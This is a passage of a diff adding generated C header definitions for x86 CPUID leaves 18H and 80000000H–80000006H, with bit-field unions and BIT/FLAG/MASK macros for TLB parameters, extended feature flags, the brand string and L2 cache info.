1 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_FLAG 0x02 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] 4MB page size entries supported by this structure. + */ + uint32_t page_entries_4mb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_BIT 2 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_FLAG 0x04 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] 1 GB page size entries supported by this structure. + */ + uint32_t page_entries_1gb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_BIT 3 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_FLAG 0x08 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED(_) (((_) >> 3) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bits 10:8] Partitioning (0: Soft partitioning between the logical processors sharing this structure). + */ + uint32_t partitioning : 3; +#define CPUID_EBX_PARTITIONING_BIT 8 +#define CPUID_EBX_PARTITIONING_FLAG 0x700 +#define CPUID_EBX_PARTITIONING_MASK 0x07 +#define CPUID_EBX_PARTITIONING(_) (((_) >> 8) & 0x07) + uint32_t reserved2 : 5; + + /** + * [Bits 31:16] W = Ways of associativity. + */ + uint32_t ways_of_associativity_00 : 16; +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_BIT 16 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_FLAG 0xFFFF0000 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00_MASK 0xFFFF +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_00(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Number of Sets. + */ + uint32_t number_of_sets : 32; +#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 +#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 4:0] Translation cache type field. + * - 00000b: Null (indicates this sub-leaf is not valid). + * - 00001b: Data TLB. + * - 00010b: Instruction TLB. + * - 00011b: Unified TLB. + * All other encodings are reserved. + * + * @note Some unified TLBs will allow a single TLB entry to satisfy data read/write and instruction fetches. Others will + * require separate entries (e.g., one loaded on data read/write and another loaded on an instruction fetch) . Please see + * the Intel(R) 64 and IA-32 Architectures Optimization Reference Manual for details of a particular product. + */ + uint32_t translation_cache_type_field : 5; +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_BIT 0 +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_FLAG 0x1F +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_MASK 0x1F +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) + + /** + * [Bits 7:5] Translation cache level (starts at 1). + */ + uint32_t translation_cache_level : 3; +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_BIT 5 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_FLAG 0xE0 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_MASK 0x07 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL(_) (((_) >> 5) & 0x07) + + /** + * [Bit 8] Fully associative structure. + */ + uint32_t fully_associative_structure : 1; +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_BIT 8 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_FLAG 0x100 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_MASK 0x01 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE(_) (((_) >> 8) & 0x01) + uint32_t reserved1 : 5; + + /** + * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this translation cache. + * + * @note Add one to the return value to get the result. + */ + uint32_t max_addressable_ids_for_logical_processors : 12; +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_BIT 14 +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_FLAG 0x3FFC000 +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_MASK 0xFFF +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS(_) (((_) >> 14) & 0xFFF) + uint32_t reserved2 : 6; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_18_ecx_00; + +/** + * @brief Deterministic Address Translation Parameters Sub-leaf (EAX = 18H, ECX >= 1) + * + * @note Each sub-leaf enumerates a different address translation structure. + * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf index n is invalid if n exceeds the value + * that sub-leaf 0 returns in EAX. A sub-leaf index is also invalid if EDX[4:0] returns 0. Valid sub-leaves do not need to + * be contiguous or in any particular order. A valid sub-leaf may be in a higher input ECX value than an invalid sub-leaf + * or than a valid sub-leaf of a higher or lower-level structure. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] 4K page size entries supported by this structure. + */ + uint32_t page_entries_4kb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_BIT 0 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_FLAG 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4KB_SUPPORTED(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] 2MB page size entries supported by this structure. + */ + uint32_t page_entries_2mb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_BIT 1 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_FLAG 0x02 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_2MB_SUPPORTED(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] 4MB page size entries supported by this structure. + */ + uint32_t page_entries_4mb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_BIT 2 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_FLAG 0x04 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_4MB_SUPPORTED(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] 1 GB page size entries supported by this structure. + */ + uint32_t page_entries_1gb_supported : 1; +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_BIT 3 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_FLAG 0x08 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED_MASK 0x01 +#define CPUID_EBX_PAGE_ENTRIES_1GB_SUPPORTED(_) (((_) >> 3) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bits 10:8] Partitioning (0: Soft partitioning between the logical processors sharing this structure). + */ + uint32_t partitioning : 3; +#define CPUID_EBX_PARTITIONING_BIT 8 +#define CPUID_EBX_PARTITIONING_FLAG 0x700 +#define CPUID_EBX_PARTITIONING_MASK 0x07 +#define CPUID_EBX_PARTITIONING(_) (((_) >> 8) & 0x07) + uint32_t reserved2 : 5; + + /** + * [Bits 31:16] W = Ways of associativity. + */ + uint32_t ways_of_associativity_01 : 16; +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_BIT 16 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_FLAG 0xFFFF0000 +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01_MASK 0xFFFF +#define CPUID_EBX_WAYS_OF_ASSOCIATIVITY_01(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Number of Sets. + */ + uint32_t number_of_sets : 32; +#define CPUID_ECX_NUMBER_OF_SETS_BIT 0 +#define CPUID_ECX_NUMBER_OF_SETS_FLAG 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS_MASK 0xFFFFFFFF +#define CPUID_ECX_NUMBER_OF_SETS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 4:0] Translation cache type field. + * - 00000b: Null (indicates this sub-leaf is not valid). + * - 00001b: Data TLB. + * - 00010b: Instruction TLB. + * - 00011b: Unified TLB. + * All other encodings are reserved. + * + * @note Some unified TLBs will allow a single TLB entry to satisfy data read/write and instruction fetches. Others will + * require separate entries (e.g., one loaded on data read/write and another loaded on an instruction fetch) . Please see + * the Intel(R) 64 and IA-32 Architectures Optimization Reference Manual for details of a particular product. + */ + uint32_t translation_cache_type_field : 5; +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_BIT 0 +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_FLAG 0x1F +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD_MASK 0x1F +#define CPUID_EDX_TRANSLATION_CACHE_TYPE_FIELD(_) (((_) >> 0) & 0x1F) + + /** + * [Bits 7:5] Translation cache level (starts at 1). + */ + uint32_t translation_cache_level : 3; +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_BIT 5 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_FLAG 0xE0 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL_MASK 0x07 +#define CPUID_EDX_TRANSLATION_CACHE_LEVEL(_) (((_) >> 5) & 0x07) + + /** + * [Bit 8] Fully associative structure. + */ + uint32_t fully_associative_structure : 1; +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_BIT 8 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_FLAG 0x100 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE_MASK 0x01 +#define CPUID_EDX_FULLY_ASSOCIATIVE_STRUCTURE(_) (((_) >> 8) & 0x01) + uint32_t reserved1 : 5; + + /** + * [Bits 25:14] Maximum number of addressable IDs for logical processors sharing this translation cache. + * + * @note Add one to the return value to get the result. + */ + uint32_t max_addressable_ids_for_logical_processors : 12; +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_BIT 14 +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_FLAG 0x3FFC000 +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS_MASK 0xFFF +#define CPUID_EDX_MAX_ADDRESSABLE_IDS_FOR_LOGICAL_PROCESSORS(_) (((_) >> 14) & 0xFFF) + uint32_t reserved2 : 6; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_18_ecx_01p; + +/** + * @} + */ + + + /** + * @brief Extended Function CPUID Information + * + * When CPUID executes with EAX set to 80000000H, the processor returns the highest value the processor recognizes for + * returning extended processor information. The value is returned in the EAX register and is processor specific. + */ +#define CPUID_EXTENDED_FUNCTION_INFORMATION 0x80000000 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Maximum Input Value for Extended Function CPUID Information. + */ + uint32_t max_extended_functions : 32; +#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_BIT 0 +#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_FLAG 0xFFFFFFFF +#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS_MASK 0xFFFFFFFF +#define CPUID_EAX_MAX_EXTENDED_FUNCTIONS(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000000; + + +/** + * Extended Function CPUID Information. + */ +#define CPUID_EXTENDED_CPU_SIGNATURE 0x80000001 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] LAHF/SAHF available in 64-bit mode. + */ + uint32_t lahf_sahf_available_in_64_bit_mode : 1; +#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_BIT 0 +#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_FLAG 0x01 +#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE_MASK 0x01 +#define CPUID_ECX_LAHF_SAHF_AVAILABLE_IN_64_BIT_MODE(_) (((_) >> 0) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bit 5] LZCNT. + */ + uint32_t lzcnt : 1; +#define CPUID_ECX_LZCNT_BIT 5 +#define CPUID_ECX_LZCNT_FLAG 0x20 +#define CPUID_ECX_LZCNT_MASK 0x01 +#define CPUID_ECX_LZCNT(_) (((_) >> 5) & 0x01) + uint32_t reserved2 : 2; + + /** + * [Bit 8] PREFETCHW. + */ + uint32_t prefetchw : 1; +#define CPUID_ECX_PREFETCHW_BIT 8 +#define CPUID_ECX_PREFETCHW_FLAG 0x100 +#define CPUID_ECX_PREFETCHW_MASK 0x01 +#define CPUID_ECX_PREFETCHW(_) (((_) >> 8) & 0x01) + uint32_t reserved3 : 23; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + uint32_t reserved1 : 11; + + /** + * [Bit 11] SYSCALL/SYSRET available in 64-bit mode. + */ + uint32_t syscall_sysret_available_in_64_bit_mode : 1; +#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_BIT 11 +#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_FLAG 0x800 +#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE_MASK 0x01 +#define CPUID_EDX_SYSCALL_SYSRET_AVAILABLE_IN_64_BIT_MODE(_) (((_) >> 11) & 0x01) + uint32_t reserved2 : 8; + + /** + * [Bit 20] Execute Disable Bit available. + */ + uint32_t execute_disable_bit_available : 1; +#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_BIT 20 +#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_FLAG 0x100000 +#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE_MASK 0x01 +#define CPUID_EDX_EXECUTE_DISABLE_BIT_AVAILABLE(_) (((_) >> 20) & 0x01) + uint32_t reserved3 : 5; + + /** + * [Bit 26] 1-GByte pages are available if 1. + */ + uint32_t pages_1gb_available : 1; +#define CPUID_EDX_PAGES_1GB_AVAILABLE_BIT 26 +#define CPUID_EDX_PAGES_1GB_AVAILABLE_FLAG 0x4000000 +#define CPUID_EDX_PAGES_1GB_AVAILABLE_MASK 0x01 +#define CPUID_EDX_PAGES_1GB_AVAILABLE(_) (((_) >> 26) & 0x01) + + /** + * [Bit 27] RDTSCP and IA32_TSC_AUX are available if 1. + */ + uint32_t rdtscp_available : 1; +#define CPUID_EDX_RDTSCP_AVAILABLE_BIT 27 +#define CPUID_EDX_RDTSCP_AVAILABLE_FLAG 0x8000000 +#define CPUID_EDX_RDTSCP_AVAILABLE_MASK 0x01 +#define CPUID_EDX_RDTSCP_AVAILABLE(_) (((_) >> 27) & 0x01) + uint32_t reserved4 : 1; + + /** + * [Bit 29] Intel(R) 64 Architecture available if 1. + */ + uint32_t ia64_available : 1; +#define CPUID_EDX_IA64_AVAILABLE_BIT 29 +#define CPUID_EDX_IA64_AVAILABLE_FLAG 0x20000000 +#define CPUID_EDX_IA64_AVAILABLE_MASK 0x01 +#define CPUID_EDX_IA64_AVAILABLE(_) (((_) >> 29) & 0x01) + uint32_t reserved5 : 2; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000001; + + +/** + * Extended Function CPUID Information. + */ +#define CPUID_BRAND_STRING1 0x80000002 + + /** + * Extended Function CPUID Information. + */ +#define CPUID_BRAND_STRING2 0x80000003 + + /** + * Extended Function CPUID Information. + */ +#define CPUID_BRAND_STRING3 0x80000004 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String. + */ + uint32_t processor_brand_string_1 : 32; +#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_BIT 0 +#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_FLAG 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_1_MASK 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_1(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_2 : 32; +#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_BIT 0 +#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_FLAG 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_2_MASK 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_2(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_3 : 32; +#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_BIT 0 +#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_FLAG 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_3_MASK 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_3(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_4 : 32; +#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_BIT 0 +#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_FLAG 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_4_MASK 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_4(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000002; + +/** + * @brief Extended Function CPUID Information + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_5 : 32; +#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_BIT 0 +#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_FLAG 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_5_MASK 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_5(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_6 : 32; +#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_BIT 0 +#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_FLAG 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_6_MASK 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_6(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_7 : 32; +#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_BIT 0 +#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_FLAG 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_7_MASK 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_7(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_8 : 32; +#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_BIT 0 +#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_FLAG 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_8_MASK 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_8(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000003; + +/** + * @brief Extended Function CPUID Information + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_9 : 32; +#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_BIT 0 +#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_FLAG 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_9_MASK 0xFFFFFFFF +#define CPUID_EAX_PROCESSOR_BRAND_STRING_9(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_10 : 32; +#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_BIT 0 +#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_FLAG 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_10_MASK 0xFFFFFFFF +#define CPUID_EBX_PROCESSOR_BRAND_STRING_10(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_11 : 32; +#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_BIT 0 +#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_FLAG 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_11_MASK 0xFFFFFFFF +#define CPUID_ECX_PROCESSOR_BRAND_STRING_11(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Processor Brand String Continued. + */ + uint32_t processor_brand_string_12 : 32; +#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_BIT 0 +#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_FLAG 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_12_MASK 0xFFFFFFFF +#define CPUID_EDX_PROCESSOR_BRAND_STRING_12(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000004; + +/** + * @brief Extended Function CPUID Information + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_80000005; + + +/** + * Extended Function CPUID Information. + */ +#define CPUID_EXTENDED_CACHE_INFO 0x80000006 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] EAX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EAX_RESERVED_BIT 0 +#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 7:0] Cache Line size in bytes. + */ + uint32_t cache_line_size_in_bytes : 8; +#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_BIT 0 +#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_FLAG 0xFF +#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES_MASK 0xFF +#define CPUID_ECX_CACHE_LINE_SIZE_IN_BYTES(_) (((_) >> 0) & 0xFF) + uint32_t reserved1 : 4; + + /** + * [Bits 15:12] L2 Associativity field. + * L2 associativity field encodings: + * - 00H - Disabled. + * - 01H - Direct mapped. + * - 02H - 2-way. + * - 04H - 4-way. + * - 06H - 8-way. + * - 08H - 16-way. + * - 0FH - Fully associative. + */ + uint32_t l2_associativity_field : 4; +#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_BIT 12 +#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_FLAG 0xF000 +#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD_MASK 0x0F +#define CPUID_ECX_L2_ASSOCIATIVITY_FIELD(_) (((_) >> 12) & 0x0F) + + /** + * [Bits 31:16] Cache size in 1K units. + */ + uint32_t cache_size_in_1k_units : 16; +#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_BIT 16 +#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_FLAG 0xFFFF0000 +#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS_MASK 0xFFFF +#define CPUID_ECX_CACHE_SIZE_IN_1K_UNITS(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 